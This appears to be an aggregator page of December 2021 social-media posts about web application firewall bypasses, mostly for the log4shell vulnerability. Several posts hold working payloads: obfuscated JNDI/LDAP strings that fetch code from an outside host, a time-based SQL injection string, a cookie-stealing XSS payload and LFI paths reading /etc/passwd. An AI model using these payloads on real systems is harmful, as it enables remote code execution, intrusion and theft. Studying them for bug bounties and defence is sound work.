WAF bypass by CoreRuleSet

So we had a bypass in our #log4j / #log4shell / CVE-2021-44228 rule: Dominik Strecker from Swiss branch of @syracomag exploited a bug in the XML XPath ... December 20, 2021

SQL injection

WAF bypass SQL injection by SecurityOsaka

#Cloudbric Web??????? ???????:?? ???????SQL???????? Simple Issue Tracker System 1.0 - SQLi Authentication Bypass???? ???????Cloudbric?????????? #WAF ... December 20, 2021

WAF bypass by MT6572A

you better test for log4j behind your waf, because you know they're just gonna find a way to bypass that shit anyway ... December 20, 2021

WAF bypass by MalwareLion

Am i the only one that only sees the normal and the WAF bypass patterns, but not the localhost bypass in current scanning activities? #blueteam #log4j ... December 19, 2021

CloudFlare

CloudFlare bypass by alicanact60

Can anyone who has cloudflare log4j bypass share it with me via DM? ... December 19, 2021

CloudFlare

CloudFlare bypass by akita_zen

Someone bypass Cloudflare WAF for log4j? :) asking for a friend :) #bugbounty #cloudflare #log4jshell #log4j ... December 19, 2021

CloudFlare , SQL injection

CloudFlare bypass SQL injection by Anastasis_King

How i was able to bypass Cloudflare WAF for SQLi payload https://t.co/yN4mHPyKkz #Pentesting #SQLi #CloudFlare #CyberSecurity #Infosec ... December 18, 2021

AWS WAF

WAF bypass by TeriRadichel

WAFs are a good measure but they probably won’t save you. Focus on the root problem. Of course you can also update your AWS WAF rules to address thi ... December 18, 2021

AWS WAF , LDAP injection

WAF bypass LDAP injection by nxtexploit

Previous AWS WAF bypass is patched.. here is another: ${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o} #bugbountytips #log4j ??? ... December 18, 2021

CloudFlare

CloudFlare bypass by FreelanceJobRSS

#DNS #Linux Connect my vps server to cloudflare ssl: Hi, i want to connect my DNS with cloudflare account. I can only pay Rs.500 (Budget: ?600 - ?1500 ... December 18, 2021

WAF bypass by CoreRuleSet

#log4j is also affected by a #DoS vulnerability CVE-2021-45105. At this point, we believe our new rule and mitigations has your back here as well. But ... December 18, 2021

AWS WAF , XSS

WAF bypass XSS by norahul1020

Got a AWS WAF bypass for #log4j2. Endpoints to exploit it?? @theXSSrat @HemantSolo @ADITYASHENDE17 ... December 18, 2021

WAF bypass by bararchy

WAF, or in other words, 1 hour of grace before bypass https://t.co/weJOzYndph ... December 17, 2021

WAF bypass by SidiJunior

Problem with WAF? Ideas to bypass? Look this payloads to ur tests: #cybersecurity #pentest #bugbounty #bugbountytips https://t.co/OncqUaE3jB ... December 17, 2021

AWS WAF , LDAP injection

WAF bypass LDAP injection by zapstiko

Previous AWS WAF bypass is patched.. here is another: @11xuxx ${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o} #bugbountytips #LOG4JDO ... December 17, 2021

Akamai , SQL injection

Akamai bypass SQL injection by SidiJunior

Ideas n Tips to ur tests n hunts: Akamai WAF Bypass & SQLi (Bio bellow) 'XOR(if(now()=sysdate(),sleep(5*5),0))OR' #bugbountytips #BugBounty #Cy ... December 17, 2021

Akamai

Akamai bypass by LazySaad

akamai waf bypass Enjoy B: %3Cimg%20sr%u0025%u0036%u0033=x%20o%u0025%u0036%u0065error=aler%u0025%u0037%u0034(documen%u0025%u0037%u0034.cookie)%3E #bug ... December 17, 2021

WAF bypass by LazySaad

I'm looking for website runing akamia waf with unfiltered tags i guess i found a new bypass After test bypass will be published ??? #bugbountytips ... December 17, 2021

AWS WAF , LDAP injection

WAF bypass LDAP injection by simrotion13

AWS WAF bypass ${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydnsserver.com:1389/o} #bugbountytips #log4j #waf ... December 17, 2021

WAF bypass by zapstiko

(1/2) LFI WAF Bypass @TodayCyberNews file:/etc/passwd?/ file:/etc/passwd%3F/ file:/etc%252Fpasswd/ file:/etc%252Fpasswd%3F/ file:///etc/?/../passwd f ... December 17, 2021

WAF bypass by D0rkerDevil

If you are looking to do active scanning of assets for the log4j jndi inject vuln . try out this scanner * New waf bypass payload(s) added https:/ ... December 17, 2021

AWS WAF , LDAP injection

WAF bypass LDAP injection by 11xuxx

Previous AWS WAF bypass is patched.. here is another: ${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o} #bugbountytips #LOG4JDONTRELYON ... December 17, 2021

RCE

WAF bypass RCE by sk4pwn

Tips to bypass a WAF and get RCE with #log4j, if you have a request with a JSON body, replace your "jndi" with \u006a\u006e\u0064\u0069 in this way: ... December 17, 2021

Akamai , SQL injection

Akamai bypass SQL injection by zapstiko

Akamai WAF Bypass & SQLi @K0to4m4tsukami 'XOR(if(now()=sysdate(),sleep(5*5),0))OR' #bugbountytips ... December 17, 2021

Akamai , CloudFlare

Akamai bypass by vaarlion

Tonight, our well working site was down because it was behind cloudflare. another night, it was akamai that had issue... At some point, event driven r ... December 17, 2021

Akamai , AWS WAF , LDAP injection

Akamai bypass LDAP injection by KuruyemisOz

Just bypassed AWS WAF for log4j jndi injection: ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o} Anyone who care to share Akamai Bypass? #b ... December 17, 2021

XSS

WAF bypass XSS by hack_git

WAF-bypass-xss-payloads Trying to gather #xss payloads from the internet that #bypasses #WAF. All credit goes to the owners of the payloads. https:// ... December 17, 2021

SQL injection

WAF bypass SQL injection by buaqbot

?? | WAF-Bypass?SQL??????? https://t.co/8pGkKD2Lvi https://t.co/rVezt4EYMJ ... December 17, 2021

wordfence , XSS

WAF bypass XSS by 0x00000000005

Any payload for XSS to bypass wordfence waf? #infosec #bugbounty ... December 17, 2021

WAF bypass by rev3rsesecurity

log4shell WAF bypass contest sulla OWASP CRS sandbox. Chi vuole cimentarsi? ? per la gloria ovviamente... https://t.co/yBf1yQa4PN ... December 16, 2021